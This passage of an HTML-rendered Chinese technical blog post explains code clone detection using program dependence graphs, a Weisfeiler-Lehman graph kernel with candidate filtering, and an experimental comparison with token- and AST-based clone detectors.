style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.969438em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mpunct mtight">,</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mpunct mtight">,</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.328331em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mpunct mtight">,</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:-0.10903em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.969438em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mpunct mtight">,</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mpunct mtight">,</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.328331em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mpunct mtight">,</span><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:-0.10903em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><ol start="2"><li>基于上述子结构, <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>G</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">G_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>G</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">G_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的图核值可以表示为:</li></ol><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>k</mi><mi>R</mi></msub><mo stretchy="false">(</mo><msub><mi>G</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>G</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo>=</mo><munderover><mo>∑</mo><mrow><msub><mi>n</mi><mn>1</mn></msub><mo>=</mo><mn>1</mn></mrow><msub><mi>N</mi><mn>1</mn></msub></munderover><munderover><mo>∑</mo><mrow><msub><mi>n</mi><mn>2</mn></msub><mo>=</mo><mn>1</mn></mrow><msub><mi>N</mi><mn>2</mn></msub></munderover><mi>σ</mi><mo stretchy="false">(</mo><msub><mi>S</mi><mrow><mn>1</mn><mo separator="true">,</mo><msub><mi>n</mi><mn>1</mn></msub></mrow></msub><mo separator="true">,</mo><msub><mi>S</mi><mrow><mn>2</mn><mo separator="true">,</mo><msub><mi>n</mi><mn>2</mn></msub></mrow></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">k_{R}(G_1,G_2)=\sum_{n_1=1}^{N_1}\sum_{n_2=1}^{N_2}\sigma(S_{1,n_1},S_{2,n_2})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.00773em;">R</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:3.2066490000000005em;vertical-align:-1.3672129999999998em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8394360000000005em;"><span style="top:-1.8828870000000002em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.050005em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.311105em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:-0.10903em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:1.3672129999999998em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8394360000000005em;"><span style="top:-1.8828870000000002em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.050005em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.311105em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:-0.10903em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:1.3672129999999998em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">σ</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mpunct mtight">,</span><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mpunct mtight">,</span><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>其中,<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>σ</mi><mo stretchy="false">(</mo><msub><mi>S</mi><mrow><mn>1</mn><mo separator="true">,</mo><msub><mi>n</mi><mn>1</mn></msub></mrow></msub><mo separator="true">,</mo><msub><mi>S</mi><mrow><mn>2</mn><mo separator="true">,</mo><msub><mi>n</mi><mn>2</mn></msub></mrow></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\sigma(S_{1,n_1},S_{2,n_2})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.036108em;vertical-align:-0.286108em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">σ</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mpunct mtight">,</span><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mpunct mtight">,</span><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>在 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>S</mi><mrow><mn>1</mn><mo separator="true">,</mo><msub><mi>n</mi><mn>1</mn></msub></mrow></msub></mrow><annotation encoding="application/x-tex">S_{1,n_1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.969438em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mpunct mtight">,</span><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>S</mi><mrow><mn>2</mn><mo separator="true">,</mo><msub><mi>n</mi><mn>2</mn></msub></mrow></msub></mrow><annotation encoding="application/x-tex">S_{2,n_2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.969438em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.301108em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mpunct mtight">,</span><span class="mord mtight"><span class="mord mathdefault mtight">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31731428571428577em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span> 同构时为1,不同构时为0。因此,任何一种图分解方式和子结构同构判断方式的组合都可以定义出一个新的图核。这种算法既保留了核函数计算效率高的优点,也包含了图数据的结构化信息</p><h2 id="三-设计实现"><a class="markdownIt-Anchor" href="#三-设计实现"></a> 三、设计实现</h2><p>本文首先生成了源代码中函数级别的程序依赖图,并对生成的图结构设计了约简的策略,随后对候选的代码对集合进行特征向量的提取和过滤,最后应用Weisfeiler-Lehman图核算法进行图相似性的比较,找出代码克隆;其总体流程图如图:</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210319165740.png" alt="image-20210319165740835" /></p><h3 id="pdg-的生成和简化"><a class="markdownIt-Anchor" href="#pdg-的生成和简化"></a> PDG 的生成和简化</h3><p>本文选取TinyPDG工具进行改进,用于PDG的生成。TinyPDG将源代码程序生成对应的PDG后通过 dot 文件类型存储。</p><ul><li>通过节点编号、形状等属性来表示语句的不同类型,例如声明语句、控制语句和赋值语句</li><li>通过边的形状来表示语句间的控制依赖、数据依赖以及地址依赖关系。</li><li>然后对PDG按照函数级别进行了切分,剔除了工具自动生成的与语法无关的节点,例如函数进入和退出节点。</li><li>最后对函数中一些冗余子图进行了合并,例如第三方函数调用子图,这样可以缩小PDG的规模,从而减少后续图匹配算法的时间消耗</li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210319171030.png" alt="image-20210319171030445" /></p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210319171042.png" alt="image-20210319171042492" /></p><p>代码程序依赖图示例</p><h3 id="pdg-集合的过滤"><a class="markdownIt-Anchor" href="#pdg-集合的过滤"></a> PDG 集合的过滤</h3><p>针对候选的代码对集合,本文首先进行规模比过滤:</p><ol><li>如果 2 个图的节点数相差过大,则过滤掉该候选对。然后统计了PDG中不同依赖关系的边的条数和不同类型的节点数目组成特征向量</li><li>进行余弦相似度的计算,小于给定阈值的候选对会被直接过滤掉。这样可以大大缩小后续需要进行图匹配的PDG 对规模,提升速度。</li></ol><h3 id="基于-weisfeiler-lehman-核的克隆检测"><a class="markdownIt-Anchor" href="#基于-weisfeiler-lehman-核的克隆检测"></a> 基于 Weisfeiler-Lehman 核的克隆检测</h3><h4 id="克隆检测方法流程"><a class="markdownIt-Anchor" href="#克隆检测方法流程"></a> 克隆检测方法流程</h4><p>针对程序依赖图的结构特征,本文使用并改进Weisfeiler-Lehman图核算法来进行有向有标签图的相似度匹配。Weisfeiler-Lehman图核算法的基本思想是:对每个节点的所有邻接节点的集合的标签进行排序,然后把这些标签根据某一映射压缩成新的更短的标签值:</p><ol><li>给定 G1 和 G2,网络中每个节点有一个label,如图中的1,2,3,4,5</li><li>标签初始化并且将多重集合标签排序,做一阶广度优先搜索,即只遍历自己的邻居。<ul><li>比如在图(a) 网络G中原(5)号节点,变成(5,234),这是因为原节点的一阶邻居有2、3和4</li></ul></li><li>标签压缩:仅仅只是把扩展标签映射成一个新标签,如 5,234 = >13</li><li>压缩标签替换扩展标签</li><li>顶点标签重新赋值;</li></ol><p><img src="D:%5CDesktop%5C20210319171238.png" alt="image-20210319171237969" /></p><p>Weisfeiler-Lehman图核一次迭代过程</p><p>假设要测试同构的两张图为G 和 G’,那么在结点u的第 i 次迭代里,算法都分别做了四步处理:标签复合集定义、复合集排序、标签压缩和重标签。</p><ul><li>事实上,Weisfeiler-Lehman算法在大多数图上会得到一个独一无二的特征集合,这意味着图上的每一个节点都有着独一无二的角色定位。</li><li>对于大多数非规则的图结构,得到的特征可以作为图是否同构的判别依据</li></ul><p>当要判断Graph1和Graph2是否同构时,WL test的主要步骤如下图所示,通过聚合节点邻居的label,然后通过 hash 函数得到节点新的label,不断重复直到每个节点的label稳定不变:</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210321090600.png" alt="img" /></p><p>稳定后,统计两张图的 label的分布,如果分布相同,则一般认为两张图时同构的。</p><p>稳定时:统计各个label的分布</p><ul><li>图1:1个8,2个7,2个9</li><li>图2:1个8,2个7,2个9</li></ul><p>则,我们不排除其同构的可能性</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210321090706.png" alt="image-20210321090706170" /></p><p>Weisfeiler-Lehman图核方法的步骤和GNNs具有异曲同工之妙,都是通过不断聚合邻居信息,得到节点的新表示。</p><p>因此,基于Weisfeiler-Lehman图核的图匹配算法及改进步骤如下所示:</p><ol><li>对PDG图中每个节点的标签按照语法类别进行 Hash 处理,将其结果作为图的初始标记。</li><li>在设定的 h 次迭代过程中,每次迭代都将当前节点的邻居节点的标签汇集在当前节点中,再对该标签序列使用局部敏感哈希算法进行压缩更新,得到新的节点标签。</li><li>迭代过程完成后,若更新后 2个节点的标签相同,则认为以这2个节点为根节点,高度为 h 的子树存在同构。</li><li>计算出 2 个图结构间节点标签集合中相同的节点标签对数,即为图核的值;若2个图的图核值满足设定的阈值范围,则认为 2 段代码为克隆代码。</li><li>动态设定迭代次数,每次迭代完成后统计图中相同标签的节点数目。</li><li>在第 n 次迭代过程加入权重因子,对低次的迭代赋予更高的权重</li></ol><p>在基于 Weisfeiler-Lehman 图核算法的图匹配之后,即可计算代码对的图核值,代表着 2 个图中相似点的总数量。本文使用图核值与较小的程序依赖图的比例作为 2 个图的相似度,如果相似度大于设定的阈值,则认为该代码对为代码克隆。</p><h2 id="四-实验评估"><a class="markdownIt-Anchor" href="#四-实验评估"></a> 四、实验评估</h2><h3 id="实验环境"><a class="markdownIt-Anchor" href="#实验环境"></a> 实验环境</h3><p>实验平台</p><p>单机 Ubuntu14.04 LTS 四核 8GB 内存的操作系统下进行。</p><p>实验数据</p><p>在CCGraph 上针对C代码的CCSharp 和Java代码的Oreo在几个代码数据集上进行了实验。</p><p>由于PDG生成只能应用于可编译代码,因此选择了一些高质量的真实世界代码数据集,并通过各种伪装从真实世界代码中开发了一些人工代码数据集</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210321104234.png" alt="image-20210321104234483" /></p><h3 id="评估标准"><a class="markdownIt-Anchor" href="#评估标准"></a> 评估标准</h3><p>代码集合中检测出克隆代码对的精确率、召回率和时间性能3个评估标准:</p><p>对比方法</p><ol><li>基于token的检测方法:CCAligner、 SourcererCC、NICAD</li><li>基于AST的方法 DECKARD</li><li>由于基于PDG的克隆检测方法 Oreo 工具进行对比实验</li></ol><h4 id="pdg-结构简化的效率"><a class="markdownIt-Anchor" href="#pdg-结构简化的效率"></a> PDG 结构简化的效率</h4><p>测试PDG结构简化对几个典型数据集的影响。这些策略有效地简化了PDG,并且不破坏原始语义信息,效率结果如表3所示。因为图匹配带来的时间成本随着节点和边的数量的增加而呈指数增长。通过删除无意义的节点并合并功能调用子PDG来减小PDG的大小,对于以下克隆检测过程非常有益。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210321171233.png" alt="image-20210321104403547" /></p><p>Efficiency of PDG Structure Simplification</p><h4 id="过滤策略的效率"><a class="markdownIt-Anchor" href="#过滤策略的效率"></a> 过滤策略的效率</h4><p>实施了启发式过滤策略,过滤效率的结果显示在表4中。</p><p>Efficiency of Filtering Strategies on Datasets</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210321104516.png" alt="image-20210321104516144" 